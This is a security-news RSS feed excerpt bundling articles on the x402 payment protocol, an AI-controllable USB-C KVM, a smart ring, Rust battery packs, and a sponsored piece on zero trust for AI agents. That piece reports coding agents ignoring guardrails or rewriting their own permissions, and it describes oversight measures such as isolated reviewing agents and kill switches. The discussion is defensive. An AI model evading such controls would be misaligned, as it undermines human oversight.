<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 10 Best Identity Threat Detection and Response (ITDR) Solutions in 2026]]></title>
<description><![CDATA[Identity has become the primary battleground of enterprise cybersecurity. Attackers increasingly bypass traditional defenses by stealing credentials, hijacking sessions, abusing privileged accounts, and exploiting misconfigurations across Active Directory, cloud platforms, SaaS applications, and ...]]></description>
<link>https://tsecurity.de/de/3675509/it-security-nachrichten/top-10-best-identity-threat-detection-and-response-itdr-solutions-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675509/it-security-nachrichten/top-10-best-identity-threat-detection-and-response-itdr-solutions-in-2026/</guid>
<pubDate>Fri, 17 Jul 2026 10:54:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Identity has become the primary battleground of enterprise cybersecurity. Attackers increasingly bypass traditional defenses by stealing credentials, hijacking sessions, abusing privileged accounts, and exploiting misconfigurations across Active Directory, cloud platforms, SaaS applications, and non-human identities. Microsoft reported more than 7,000 password attacks per second in 2024, while compromised credentials remain among the most common—and slowest […]</p>
<p>The post <a href="https://cybersecuritynews.com/best-identity-threat-detection-and-response-solutions/">Top 10 Best Identity Threat Detection and Response (ITDR) Solutions in 2026</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM]]></title>
<description><![CDATA[by George Whittaker
      
            Sipeed has introduced NanoKVM-Go, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system thro...]]></description>
<link>https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</guid>
<pubDate>Fri, 17 Jul 2026 00:16:05 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341445" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm.jpg" width="850" height="500" alt="NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Sipeed has introduced <strong>NanoKVM-Go</strong>, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system through a web browser while exposing its keyboard, mouse, and display functions to AI agents via the <strong>Model Context Protocol (MCP)</strong>.</p>

<p>Unlike traditional KVM-over-IP solutions that require multiple cables and dedicated networking hardware, NanoKVM-Go simplifies the setup into a single USB-C connection, making remote administration and AI-assisted automation more accessible for developers, system administrators, and homelab enthusiasts.</p>

<h2><strong>A Portable USB-C KVM</strong></h2>

<p>NanoKVM-Go is roughly the size of a smartwatch, measuring about <strong>45 × 40 × 15 mm</strong>, yet it combines several functions into a single device.</p>

<p>Key hardware features include:</p>

<ul><li>USB-C connection for video, audio, keyboard, mouse, and power</li>
	<li>Wi-Fi 6 connectivity</li>
	<li>Browser-based remote management</li>
	<li>Support for virtual USB storage</li>
	<li>Built-in Tailscale integration for secure remote access</li>
	<li>Fanless aluminum enclosure with low power consumption</li>
</ul><p>Because it connects over USB-C using DisplayPort Alt Mode, the device can manage a wide variety of hardware without requiring software installation on the target system.</p>

<h2><strong>Designed for Linux and Beyond</strong></h2>

<p>NanoKVM-Go supports numerous USB-C devices, including:</p>

<ul><li>Linux desktops and laptops</li>
	<li>Windows PCs</li>
	<li>macOS systems</li>
	<li>Mini PCs</li>
	<li>Steam Deck</li>
	<li>Android devices with DisplayPort Alt Mode</li>
	<li>iPhone 15 and newer models</li>
	<li>Tablets supporting USB-C video output</li>
</ul><p>For Linux users, this provides an easy way to perform BIOS configuration, operating system installation, kernel debugging, or remote troubleshooting—even when the operating system is unavailable.</p>

<h2><strong>AI Integration Through MCP</strong></h2>

<p>One of NanoKVM-Go's defining features is its <strong>AI-native design</strong>.</p>

<p>Rather than simply streaming a desktop remotely, the device exposes its KVM functions as an <strong>MCP (Model Context Protocol) server</strong>, allowing compatible AI agents to interact with the connected computer using hardware-level keyboard and mouse input.</p>

<p>This enables AI systems to:</p>

<ul><li>View the screen</li>
	<li>Move the mouse</li>
	<li>Type on the keyboard</li>
	<li>Launch applications</li>
	<li>Navigate user interfaces</li>
	<li>Complete repetitive desktop workflows</li>
</ul><p>Because control happens at the hardware level, AI agents can interact with systems regardless of the operating system installed.</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/nanokvm-go-brings-ai-powered-hardware-control-linux-compact-usb-c-kvm" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero trust must now move at agent speed]]></title>
<description><![CDATA[Presented by Ping Identity Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system...]]></description>
<link>https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Ping Identity </i></p><hr><p>Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.</p><p><span>type: <!-- -->embedded-entry-inline<!-- --> id: <!-- -->1Ieiy1KhHNWZE5KVqNdA1G</span></p><p>That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.</p><p>"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."</p><h2>Why zero trust is now urgent for agentic AI</h2><p>That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.</p><p>"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."</p><h2>Why agents must be treated as first-class identities</h2><p>That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. </p><p>"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."</p><p>And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.</p><h2>Where enterprises can enforce zero trust policies</h2><p>Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.</p><p>"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.</p><p>The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.</p><h2>Stopping AI agents from rewriting their own permissions</h2><p>That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.</p><p>"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."</p><h2>How to trust AI-generated output at agent speed</h2><p>The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.</p><p>"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."</p><p>In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. </p><p>For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.</p><h2>What to ask when evaluating agentic identity platforms</h2><p>For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.</p><p>"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."</p><p>And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Using Microsegmentation to Contain Autonomous AI Agents]]></title>
<description><![CDATA[Discover why traditional security fails against autonomous AI agents and how machine-speed microsegmentation helps stop tool chaining and lateral movement. This article has been indexed from Blog Read the original article: Using Microsegmentation to Contain Autonomous AI Agents
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3674291/it-security-nachrichten/using-microsegmentation-to-contain-autonomous-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674291/it-security-nachrichten/using-microsegmentation-to-contain-autonomous-ai-agents/</guid>
<pubDate>Thu, 16 Jul 2026 19:35:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Discover why traditional security fails against autonomous AI agents and how machine-speed microsegmentation helps stop tool chaining and lateral movement. This article has been indexed from Blog Read the original article: Using Microsegmentation to Contain Autonomous AI Agents</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/using-microsegmentation-to-contain-autonomous-ai-agents/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/using-microsegmentation-to-contain-autonomous-ai-agents/">Using Microsegmentation to Contain Autonomous AI Agents</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Smart Ring Does What Apple Watch Still Can’t With Blood Pressure]]></title>
<description><![CDATA[A new smart ring is trying to solve one of the biggest limitations in wearable health technology by offering actual blood pressure readings without needing a traditional arm cuff.



The new Signal Ring from startup Vital Signals costs $399 and promises cuff-free blood pressure monitoring, someth...]]></description>
<link>https://tsecurity.de/de/3674269/ios-mac-os/new-smart-ring-does-what-apple-watch-still-cant-with-blood-pressure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674269/ios-mac-os/new-smart-ring-does-what-apple-watch-still-cant-with-blood-pressure/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new smart ring is trying to solve one of the biggest limitations in wearable health technology by offering actual blood pressure readings without needing a traditional arm cuff.



The new Signal Ring from startup Vital Signals costs $399 and promises cuff-free blood pressure monitoring, something that popular devices like the Apple Watch still do not provide. While the Apple Watch can detect signs that may suggest hypertension, it does not display systolic and diastolic blood pressure numbers.



According to a Bloomberg report, the Signal Ring does not require users to calibrate it with a blood pressure cuff before using the feature, which sets it apart from devices offered by companies such as Samsung and Whoop. Those products need an initial cuff reading and regular recalibration to maintain accuracy, while Vital Signals says its ring works without that extra step.




“This whole company exists because I almost died from undiagnosed hypertension. Blood pressure is the most important health metric that you can track for living long and healthy lives.”




Signal Ring focuses on people with hypertension



Vital Signals designed the Signal Ring mainly for people who already have hypertension or those who face a higher risk of developing it. The ring records blood pressure throughout the day and also tracks overnight readings, helping users understand how their numbers change after exercise, stress, coffee, or sleep. The companion app for iPhone and Android displays detailed graphs, while users can also sync data with Apple Health and Google Health.



According to Bloomberg, users still get the most accurate readings by sitting quietly and starting a manual measurement session. The app even includes breathing exercises and pauses the reading if it detects movement or talking because both can affect blood pressure results.




“Fundamentally, there’s almost no real way for you to truly know your blood pressure as a consumer, and it’s kind of crazy.”




The company plans to ship the consumer version in October after opening preorders, while a medical-grade version that can diagnose hypertension is already undergoing clinical testing at Stanford University and other research sites. 



Vital Signals also says it will not charge a subscription fee, making the one-time purchase cover all of the ring's health features. Although the company admits the device has not received FDA clearance yet and is still refining battery life and performance, the Signal Ring introduces a feature that many users have wanted from the Apple Watch for years.]]></content:encoded>
</item>
<item>
<title><![CDATA[Niko Matsakis: Battery packs: Let's talk about crates, baby]]></title>
<description><![CDATA[This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web servi...]]></description>
<link>https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:07 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img alt="Battery pack logo" class="float-right" src="https://smallcultfollowing.com/babysteps/%20/assets/2026-07-15-battery-packs.png">
<p>This blog post describes an idea I’ve been kicking around called <strong>battery packs</strong>. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has <a href="https://crates.io/crates/cli-battery-pack">everything you need to build a great CLI</a>, an opinionated pack for <a href="https://crates.io/crates/backend-service-battery-pack">creating a backend web service</a>, and <a href="https://crates.io/crates/embedded-battery-pack">one for embedded development</a> (based on the Embedded Working Group’s <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Rust repository</a>). We’ve also got some smaller ones, such as the <a href="https://crates.io/crates/error-battery-pack">error-handling battery pack</a> that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.</p>
<p>Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.</p>

<p>We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run <code>cargo install cargo-bp</code> and then try a few commands! For example,</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp list
</span></span></code></pre></div><p>will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And <code>cargo bp add</code> will add batteries from a battery pack into your crate, so e.g.</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp add cli
</span></span></code></pre></div><p>would let you select and add common CLI libraries. If you want to see a more involved demo, try out <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository.</p>
<h3>Let’s talk about you and me</h3>
<p>One of the key ideas from battery packs is that <strong>anybody can publish one</strong>. They are just a crate named <code>X-battery-pack</code>; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.</p>
<p>Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:1">1</a></sup>, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the <a href="https://crates.io/crates/cli-battery-pack">CLI</a> and <a href="https://crates.io/crates/backend-service-battery-pack">backend service</a> battery packs are targeting a “typical computer”. But I could imagine the <a href="https://rust-embedded.org/">Rust embedded working group</a> publishing a battery pack with libraries focused on no-std and binary size optimization.</p>
<p>Being open-ended also addresses the <em>“who decides?”</em> question. To my mind, the best people to recommend what libraries you ought to use are <strong>other people building systems like yours</strong>. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted <a href="https://embassy.dev/">embassy</a> and its associated ecosystem? Unclear.</p>
<h4>Creating a battery pack</h4>
<p>If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:2">2</a></sup>, which bundles a template:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp new battery-pack
</span></span></code></pre></div><p>This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use <code>cargo add</code> dependencies to represent the libraries you want to recommend and publish.</p>
<h4>“Batteries” are more than dependencies</h4>
<p>The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:3">3</a></sup> can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp add ci
</span></span></code></pre></div><p>I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on <a href="https://github.com/mitsuhiko/minijinja">minijinja</a>, but I think we’re going to want to expand on this.</p>
<h4>Giving it some structure</h4>
<p>Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into <em>categories</em> and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:</p>
<pre tabindex="0"><code>──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 &gt; ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display &amp; Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→
</code></pre><h3>Let’s talk about all the good things…</h3>
<p>So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.</p>
<p>What I really want to see is working groups in the <a href="https://rustfoundation.org/rust-commercial-network/">Rust Commercial Network</a> banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.</p>
<h4>Supporting maintainers</h4>
<p>One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.</p>
<h4>Fostering interoperability</h4>
<p>Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the <a href="https://rust-commercial-network.github.io/rcn/network-services-wg.html">network service working group</a> (unsurprisingly) immediately identified that while most people are using <a href="https://tokio.rs/">tokio</a>, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is <a href="https://rust-lang.github.io/wg-async/vision/submitted_stories/status_quo/barbara_wishes_for_easy_runtime_switch.html">news</a>. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.</p>
<h3>…and the bad things that could be</h3>
<p>There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.</p>
<h4>Avoiding stagnation</h4>
<p>Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.</p>
<p>One example of evolution around CLI argument parsing. For a time, <a href="https://crates.io/crates/docopt">docopt</a> was a popular way to parse command-line options. Then <a href="https://crates.io/crates/clap">clap</a> came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And <em>that</em> was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.</p>
<p>There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that <em>anybody</em> can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.</p>
<p>Done right, I think that standardized battery packs can also <em>help</em> the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.</p>
<h3>…Let’s talk about crates<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:4">4</a></sup></h3>
<h4>“Always bet on the ecosystem”</h4>
<p>I see <strong>always bet on the ecosystem</strong> as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.</p>
<p>But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/#example-the-wealth-of-crates-on-crates-io-are-a-key-enabler-but-can-be-an-obstacle">the words of a Rust Vision Doc interviewee</a>) that becomes an obstacle for folks. And I think we’ve reached that point with <code>crates.io</code>.</p>
<p>I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (<em>and fund!</em>) the crates they need. So let’s talk about it!</p>
<div class="footnotes">
<hr>
<ol>
<li>
<p>My first recollection of it was the <a href="https://internals.rust-lang.org/t/proposal-the-rust-platform/3745">Rust Platform</a> idea we floated in 2016! <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:1">↩︎</a></p>
</li>
<li>
<p>Yo dawg… <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:2">↩︎</a></p>
</li>
<li>
<p>Hat tip to Jess Izen, who proposed and developed the CI battery pack. Neat idea. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:3">↩︎</a></p>
</li>
<li>
<p>Oh, and: my apologies to <a href="https://en.wikipedia.org/wiki/Let's_Talk_About_Sex">Salt-N-Peppa</a>. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:4">↩︎</a></p>
</li>
</ol>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Makes Low-Severity Vulnerabilities More Dangerous]]></title>
